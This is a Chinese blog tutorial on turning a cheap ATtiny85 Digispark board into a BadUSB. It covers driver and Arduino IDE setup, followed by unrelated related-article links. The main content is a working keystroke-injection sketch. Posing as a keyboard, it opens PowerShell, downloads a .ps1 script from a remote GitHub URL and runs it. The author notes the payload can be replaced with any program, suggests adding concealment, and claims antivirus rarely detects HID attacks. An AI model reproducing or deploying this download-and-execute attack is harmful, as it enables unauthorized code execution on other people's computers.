0x00.准备:

  ATiny85的板子

  淘宝十元包邮。有两款,两款都可以,建议选择左边的,这样可以直接插入USB口,第二款也可以,不过需要一根Micro的数据线(旧款安卓手机使用的线)。

  

  电脑安装驱动
  当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!

  https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

  下载的驱动文件,解压并执行相应的版本(64位操作系统执行DPinst64.exe,32位执行DPinst.exe)。

  

  下图是驱动安装完成的截图.

  配置烧录软件
  推荐使用Arduino IDE。到Arduino官方网站进行下载安装
  下载网址:https://www.arduino.cc/en/Main/Software?setlang=cn

  进入程序界面后,点击 文件 --> 首选项。
  将http://digistump.com/package_digistump_index.json 复制到红色线框标记的地方。

  然后在 工具 选择Boards Manager...

  

  等待加载完成后(等待时间可能有点长),选择下图红框标注的版本(这里已安装会显示Remove,如果是未安装的会显示Install。

  下载完成后,即可在工具里看到Digispark (Default - 16.5mhz),编程器选择“USBtinyISP

  插上开发板安装好驱动后,这里设备管理器会不断发现它在刷新,可以不用按照网上其他教程,可以插上板子,将程序编译上传。
  烧录进去程序后,设备管理器就不会闪了。

0x02.烧录代码

  贴一个自己测试的程序,通过下载一个powershell脚本,运行此脚本来改桌面的壁纸。(这里的脚本可以修改为想要的程序)

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.println("POWERSHELL -NOP");
DigiKeyboard.delay(2000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(2000);
DigiKeyboard.println("$client = new-object System.Net.WebClient");
DigiKeyboard.println("$client.DownloadFile(\'https://raw.githubusercontent.com/HuIsec/person/master/test.ps1\','e:\\test.ps1')");
DigiKeyboard.delay(3000);
DigiKeyboard.println("e:\\test.ps1");
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.println("exit"); } void loop() { }

  将代码复制到编辑框中,保存一下后,点击上传,即可自动编译后上传。

  如果需要对Attiny 85开发板进行重写开发,重新编写代码,或者修改代码。建议先把Attiny 85开发板拔出,先把代码写好,点击上传,等提示:Plug in device now... (will timeout in 60 seconds),再把设备插入即可!

0x03.总结

  此脚本还有很多不完善的地方,这里为了方便自己可以调试,以及可以看到所有过程,所以没有做一些“隐蔽性”工作,后续可以自己完善。(比如,使用cmd窗口来执行powershell命令,以及对cmd窗口进行小窗口来隐藏一下。)
  目前杀毒软件对HID攻击检测不敏感,通过模拟键盘输入,来达到快速将想要执行的代码在目标主机上执行。

  

利用ATiny85制作BadUSB的更多相关文章

  1. Arduino+Avr libc制作Badusb原理及示例讲解

    一. 前言 2014年美国黑帽大会上研究人员JakobLell和Karsten Nohl展示了badusb的攻击方法后,国内与badusb相关的文章虽然有了一些,但是大部分人把相关文章都阅读后还是会有 ...

  2. 利用TabHost制作QQ客户端标签栏效果(低版本QQ)

    学习一定要从基础学起,只有有一个好的基础,我们才会变得更加的perfect 下面小编将利用TabHost制作QQ客户端标签栏效果(这个版本的QQ是在前几年发布的)…. 首先我们看一下效果: 看到这个界 ...

  3. 利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片

    利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片.代码如下 import java.awt.Color;import java.io.File;import java.util.H ...

  4. C#利用API制作类似QQ一样的右下角弹出窗体

    C#利用API制作类似QQ一样的右下角弹出窗体 (2009-03-21 15:02:49) 转载▼ 标签: 杂谈 分类: .NET using System;using System.Collecti ...

  5. 【百度地图API】如何利用PhoneGap制作地图APP

    原文:[百度地图API]如何利用PhoneGap制作地图APP 摘要:百度地图API是一套由javascript编写的地图程序接口,按说它应该运行在浏览器上.现在,只要利用PhoneGap,我们就能开 ...

  6. 利用CSS3制作淡入淡出动画效果

    CSS3新增动画属性“@-webkit-keyframes”,从字面就可以看出其含义——关键帧,这与Flash中的含义一致. 利用CSS3制作动画效果其原理与Flash一样,我们需要定义关键帧处的状态 ...

  7. 【203】利用UltraISO制作和刻录光盘映像的方法

    参考:利用UltraISO制作和刻录光盘映像的方法 软件:UltraISO注册版(制作镜像).rar 目录: 1.利用UltraISO制作光盘映像2.利用UltraISO刻录光盘映像文件 1.利用Ul ...

  8. 利用jquery制作滚动到指定位置触发动画

    <!DOCTYPE html><html><head> <meta charset="utf-8"> <title>利用 ...

  9. WPF利用radiobutton制作菜单按钮

    原文:WPF利用radiobutton制作菜单按钮 版权声明:欢迎转载.转载请注明出处,谢谢 https://blog.csdn.net/wzcool273509239/article/details ...

随机推荐

  1. C++位运算

    移位运算 要点 1 它们都是双目运算符,两个运算分量都是整形,结果也是整形.     2 " < <" 左移:右边空出的位上补0,左边的位将从字头挤掉,其值相当于乘2. ...

  2. 如何在python脚本开发做code review

    在软件项目开发中,我们经常提到一个词“code review”.code review中文翻译过来就是代码评审或复查,简而言之就是编码完成后由其他人通过阅读代码来检查代码的质量(可编译.可运行.可读. ...

  3. myeclipse2014鼠标单击后光标位置背景底色为白色太难看,行号显示

    Java文件的修改方法: window--Preferences--Java--Editor--Mark Occurences JS文件中点击字符串就会变成白色背景 JS文件字体颜色的修改 windo ...

  4. python爬虫入门(三)XPATH和BeautifulSoup4

    XML和XPATH 用正则处理HTML文档很麻烦,我们可以先将 HTML文件 转换成 XML文档,然后用 XPath 查找 HTML 节点或元素. XML 指可扩展标记语言(EXtensible Ma ...

  5. PAT1056:Mice and Rice

    1056. Mice and Rice (25) 时间限制 100 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 CHEN, Yue Mice an ...

  6. PAT1107:Social Clusters

    1107. Social Clusters (30) 时间限制 1000 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 CHEN, Yue When ...

  7. springboot中配置文件application.properties的理解

    前言 Spring Boot使用"习惯优于配置"(项目中存在大量的配置,此外还内置了一个习惯性的配置,让你无需手动进行配置)的理念让你的项目快速运行起来.所以,我们要想把Sprin ...

  8. HTTP 前端需明白的相关知识点

    简介: http(Hyper Text Transfer Protocol)超文本传输协议是万维网应用层的协议,使用了面向连接的TCP作为运输层协议. 特征: 简单快速:通过url就可以访问资源,协议 ...

  9. 第二章——机器学习项目完整案例(End-to-End Machine Learning Project)

    本章通过一个例子,介绍机器学习的整个流程. 2.1 使用真实数据集练手(Working with Real Data) 国外一些获取数据的网站: Popular open data repositor ...

  10. php对接微信小程序支付

    前言:这里我就假装你已经注册了微信小程序,并且基本的配置都已经好了.注: 个人注册小程序不支持微信支付,所以我还是假装你是企业或者个体工商户的微信小程序,其他的商户号注册,二者绑定,授权,支付开通,就 ...